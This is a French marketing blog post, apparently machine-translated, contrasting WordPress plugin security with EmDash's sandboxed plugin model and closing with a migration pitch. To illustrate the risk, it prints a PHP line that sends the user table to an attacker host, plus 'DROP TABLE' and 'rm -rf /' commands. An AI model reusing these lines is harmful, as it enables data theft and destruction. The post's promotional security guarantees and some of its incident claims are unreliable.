La crise de sécurité des plugins WordPress — Et comment EmDash la résout
96% des vulnérabilités WordPress proviennent des plugins. Voici pourquoi cela se produit, et comment l'architecture en bac à sable d'EmDash élimine ce risque.
WordPress alimente 43% du web. Cette domination est construite sur une belle idée: la publication démocratisée. N’importe qui, quel que soit le niveau technique, peut installer WordPress et construire un site. Vous ne voulez pas coder? Installez un plugin. Problème résolu.
Mais cette flexibilité a un revers obscur: la crise de la sécurité des plugins.
Voici la réalité inconfortable: 96% des vulnérabilités WordPress proviennent des plugins, pas de la plateforme principale. En 2024 seul, les chercheurs ont identifié plus de 5 000 vulnérabilités de plugins. Les pirates exploitent cela sans relâche. Les sites WordPress sont violés des milliers de fois par jour.
Ce n’est pas un échec WordPress. C’est un échec architectural — et EmDash a été conçu pour le corriger.
Pourquoi les plugins WordPress sont un cauchemar de sécurité
Pour comprendre la crise, vous devez comprendre comment fonctionnent les plugins WordPress.
Le modèle de puissance: accès illimité
Lorsque vous installez un plugin WordPress, il accède immédiatement à:
- Votre base de données entière
- Les identifiants utilisateur et les mots de passe
- Informations de paiement des clients
- Contenu privé
- Paramètres d’administration
Il n’y a pas de système d’autorisation. Pas de bac à sable. Pas de portées déclarées. Un auteur de plugin peut ajouter une seule ligne de code qui exfiltre votre base de données entière vers un serveur externe, et WordPress n’a aucun mécanisme pour l’empêcher.
Voici à quel point c’est simple:
// À l'intérieur de tout plugin WordPress
global $wpdb;
$users = $wpdb->get_results("SELECT * FROM wp_users");
// Envoyer toutes les données utilisateur au serveur de l'attaquant
$_POST['stolen'] = json_encode($users);
file_get_contents('https://attacker.com/steal?data=' . base64_encode(json_encode($users)));
Ce code fonctionnerait sans déclencher d’alarmes. WordPress vous n’avertirais pas. Il n’y a pas de piste d’audit. Le plugin a le pouvoir complet.
Le problème de maintenance
WordPress compte plus de 60 000 plugins. La plupart sont maintenus par des individus ou de petites équipes. Le contrôle de la qualité varie d’excellent à inexistant.
Considérez ces faits:
- Beaucoup de plugins n’ont pas été mis à jour depuis des années
- Certains plugins sont maintenus par des développeurs sans formation en sécurité
- Peu de plugins subissent des audits de sécurité
- La plupart des codes de plugins ne sont jamais examinés par WordPress ou la communauté
Lorsqu’une vulnérabilité est découverte dans un plugin populaire, les attaquants l’exploitent immédiatement. Ils analysent l’internet entier en quête d’installations vulnérables et accèdent automatiquement.
La vulnérabilité Revolution Slider 2020 en est un parfait exemple: une vulnérabilité de téléchargement de fichier a affecté plus de 5 millions de sites WordPress. Les pirates avaient des exploits automatisés exécutés dans les heures. Des millions de sites ont été compromis avant même que les propriétaires ne sachent que la vulnérabilité existait.
Le problème de mise à jour
Les plugins dépendent des utilisateurs pour les mettre à jour manuellement. De nombreux propriétaires de sites:
- Ne réalisent pas que les mises à jour sont disponibles
- Ont peur de mettre à jour (cela pourrait casser leur site)
- Avoir des plugins abandonnés (plus mis à jour par l’auteur)
- Avez accès restreint à l’hébergement partagé
Un plugin non patché est une vulnérabilité active. Les pirates le savent. Ils ciblent spécifiquement les plugins obsolètes.
Exemples réels: Pourquoi cela compte
Les 5 000+ vulnérabilités signalées l’année dernière incluent:
Elementor (50+ millions d’installations): Plusieurs vulnérabilités d’injection SQL permettant aux attaquants non authentifiés d’accéder à la base de données.
WooCommerce: Des vulnérabilités critiques dans le traitement des paiements permettant aux attaquants de modifier les commandes et de voler les informations de paiement.
Tout en un SEO: Contournement d’authentification permettant à n’importe quel utilisateur de modifier les paramètres du site.
Yoast SEO: Vulnérabilités XML-RPC permettant les attaques par force brute sur les mots de passe.
Chacun d’entre eux a affecté des millions de sites. Chacun était exploitable avant que les utilisateurs ne puissent patcher. Chacun pouvait exposer les données des clients, les informations financières ou le contenu sensible.
Le modèle se répète constamment. Les sites WordPress sont piratés. Les clients souffrent. L’entreprise ferme. Les violations de données font la une.
Le problème architectural
La cause première n’est pas les mauvais plugins individuels. C’est un problème de conception.
WordPress a été conçu dans les années 2000, alors que:
- Les sites Web étaient plus simples
- Les écosystèmes de plugins n’existaient pas
- Les menaces de sécurité étaient moins sophistiquées
- L’hébergement partagé était la norme
La solution (donner aux plugins un accès complet à la base de données) avait du sens à l’époque. Maintenant, c’est un passif.
Les systèmes modernes (navigateurs, systèmes d’exploitation mobiles, plates-formes cloud) ont résolu ce problème: bac à sable et systèmes d’autorisation.
- Les extensions Chrome s’exécutent dans des contextes isolés avec des autorisations déclarées
- Les applications iOS ont des bacs à sable et demandent la permission d’accéder aux photos, aux contacts, etc.
- Les fonctions AWS Lambda ont des rôles IAM limitant ce qu’elles peuvent accéder
- Les conteneurs Kubernetes ont des politiques de réseau et RBAC
Ces systèmes ne vous empêchent pas d’utiliser du code non fiable. Ils isolent les dégâts lorsque ce code est compromis.
WordPress n’a rien de tout cela. Chaque plugin est implicitement approuvé. Un mauvais acteur détruit tout.
Comment EmDash le résout: Plugins en bac à sable
EmDash adopte une approche fondamentalement différente appelée Dynamic Workers.
Le modèle EmDash
Lorsque vous installez un plugin dans EmDash:
- Déclaration: Le plugin déclare ce dont il a besoin (accès lecture/écriture aux articles, commentaires, données utilisateur, appels API externes, etc.)
- Bac à sable: Le plugin s’exécute dans un Cloudflare Worker isolé — pas dans le contexte principal de l’application
- Mise en œuvre des autorisations: Le plugin ne peut accéder qu’aux types de données qu’il a déclarés
- Surveillance: Chaque exécution de plugin est enregistrée et surveillée
Voici ce que cela signifie:
Si un plugin est compromis:
- L’attaquant accède UNIQUEMENT à ce que le plugin a déclaré (par exemple, la possibilité de lire les articles)
- L’attaquant ne peut pas lire les identifiants utilisateur, les données de paiement ou les paramètres d’administration
- L’attaquant ne peut pas écrire de données arbitraires dans la base de données
- L’attaquant ne peut pas exécuter de code arbitraire dans l’application principale
- Tout est enregistré et vérifiable
Exemple: Un plugin «Partage social» compromis a déclaré qu’il peut:
- Lire les titres et extraits des articles
- Faire des demandes HTTP aux réseaux sociaux
S’il est piraté, l’attaquant peut:
- Lire le contenu des articles (publiquement disponible de toute façon)
- Effectuer des demandes HTTP (limitées par les points de terminaison d’API déclarés)
L’attaquant ne peut pas:
- Lire les mots de passe des utilisateurs
- Lire les informations de paiement
- Modifier les articles
- Accès administrateur
- Installer d’autres plugins
C’est le changement architectural que WordPress aurait dû faire il y a 15 ans.
Plongée technique: Comment fonctionnne le bac à sable
EmDash utilise la technologie d’isolat V8 de Cloudflare:
// Déclaration de plugin (dans la config du plugin)
{
name: "social-sharing",
permissions: {
"posts:read": true, // Peut lire les articles
"api:external": true, // Peut faire des demandes HTTP
"data:comments": false // Ne peut pas toucher les commentaires
}
}
// Au moment de l'exécution, le plugin est instancié dans un Worker isolé:
const isolatedContext = new IsolatedWorkerContext({
permissions: plugin.permissions,
timeoutMs: 5000,
memoryMb: 128,
});
const result = await isolatedContext.execute(
plugin.code,
{ post: currentPost }
);
L’isolat:
- Exécute dans un contexte d’exécution JavaScript distinct
- N’a aucun accès à la mémoire de l’application hôte
- Ne peut communiquer que par le biais d’interfaces déclarées
- Dispose de limites de ressources (temps CPU, mémoire, disque)
- Peut être tué s’il se comporte mal
Si un plugin essaie de faire quelque chose qui n’est pas autorisé:
// Le plugin essaie de lire les mots de passe (non déclaré)
const passwords = await context.database.query("SELECT password FROM users");
// Cela jette:
// Error: Permission denied: "users:read" not declared
Pas de contournement. Aucune escalade de privilèges. Le modèle de sécurité est appliqué au moment de l’exécution.
Le bonus de performance
Le bac à sable n’est pas seulement plus sûr — c’est plus rapide.
Puisque les plugins s’exécutent dans des Workers isolés avec des limites de ressources, ils ne peuvent pas ralentir votre site:
- Le plugin A a une fuite mémoire? Il est tué après 128 Mo, n’affectant pas le site principal
- Le plugin B effectue des appels API lents? Il expire après 5 secondes, ne bloquant pas le chargement de la page
- Le plugin C devient fou? Il est isolé; les autres plugins et le site principal continuent de fonctionner
C’est impossible dans WordPress. Un plugin lent ralentit tout votre site.
Ce que les développeurs doivent faire
Pour les développeurs de plugins, le bac à sable signifie déclarer les dépendances:
// emdash.plugin.ts
export const plugin = {
name: 'my-plugin',
version: '1.0.0',
permissions: {
'posts:read': true,
'comments:write': true,
'api:twitter': true,
},
hooks: {
'post:beforeRender': async (post) => {
// Seules ces autorisations sont disponibles
return post;
}
}
};
Comparé à WordPress:
// Plugin WordPress (pouvoir sans restrictions)
<?php
// Ce plugin peut faire N'IMPORTE QUOI
// Accès base de données, lire les fichiers, exécuter du code
$wpdb->query("DROP TABLE wp_users"); // Fonctionne!
system('rm -rf /'); // Théoriquement possible (selon les autorisations)
Le modèle EmDash est plus explicite, plus transparent et intrinsèquement plus sûr.
Évolution de l’écosystème
«Mais qu’en est-il des 60 000 plugins WordPress?» demandez-vous. «EmDash n’en n’a que 50.»
Point équitable. L’écosystème est plus petit. Mais:
-
Il se développe rapidement. Les développeurs voient les avantages en matière de sécurité. Construire des plugins sécurisés est plus facile dans le modèle de bac à sable d’EmDash.
-
La plupart des sites n’ont pas besoin de plugins spécialisés. Pour les blogs, les petites entreprises et les sites médias, l’ensemble des fonctionnalités EmDash de base gère 80% des cas d’utilisation.
-
L’architecture est supérieure. Une fois que les développeurs expérimentent la construction pour un bac à sable sécurisé, ils la préfèrent.
-
La migration est en cours. Les auteurs de plugins populaires portent leurs plugins vers EmDash.
Dans 12 mois, EmDash aura probablement 5 000+ plugins — toujours moins que WordPress, mais plus que suffisant pour la plupart des cas d’utilisation.
Ce que cela signifie pour vous
Si vous exécutez un site WordPress, la crise de la sécurité des plugins est réelle:
- Votre site est analysé par des attaquants en permanence
- Les plugins non corrigés sont activement exploités
- Un plugin compromis = compromission complète du site
- Les données de vos clients sont à risque
- Votre réputation de marque est à risque
Si vous exécutez un ancien site WordPress avec beaucoup de plugins, vous jouez à la roulette russe.
Les alternatives:
Restez sur WordPress:
- Minimisez les plugins (n’utilisez que ce dont vous avez absolument besoin)
- Mettez à jour de manière obsessionnelle (chaque plugin, chaque jour)
- Utilisez un plugin de sécurité avec analyse de malveillance
- Utilisez un WAF (pare-feu d’application Web Cloudflare)
- Acceptez le risque résiduel
Migrez vers EmDash:
- Installez n’importe quel plugin en toute confiance
- Les vulnérabilités sont compartimentées
- Pas de théâtre de sécurité — c’est une vraie sécurité
- Plus rapide et moins cher en prime
Le résultat final
La statistique de 96% n’est pas un problème WordPress. C’est un problème de conception. La belle flexibilité de WordPress (donner aux plugins un pouvoir complet) mène inévitablement à des problèmes de sécurité à l’échelle.
EmDash ne rejette pas cette flexibilité. Il l’implémente de manière responsable: les plugins peuvent faire des choses puissantes, mais dans les limites déclarées.
C’est l’avenir de la gestion de contenu. Plugins en bac à sable. Systèmes d’autorisation. Exécution isolée.
Si vous êtes fatigué des incidents de sécurité WordPress, EmDash offre une vraie solution.
Prêt à migrer? Obtenez un devis gratuit sur WP→EmDash. Nous gérerons la migration, testerons tout, et mettrons en place des politiques de sécurité appropriées pour votre site.
Vos données en valent la peine.
Prêt à quitter WordPress?
Obtenez un devis de migration personnalisé — généralement en 24h.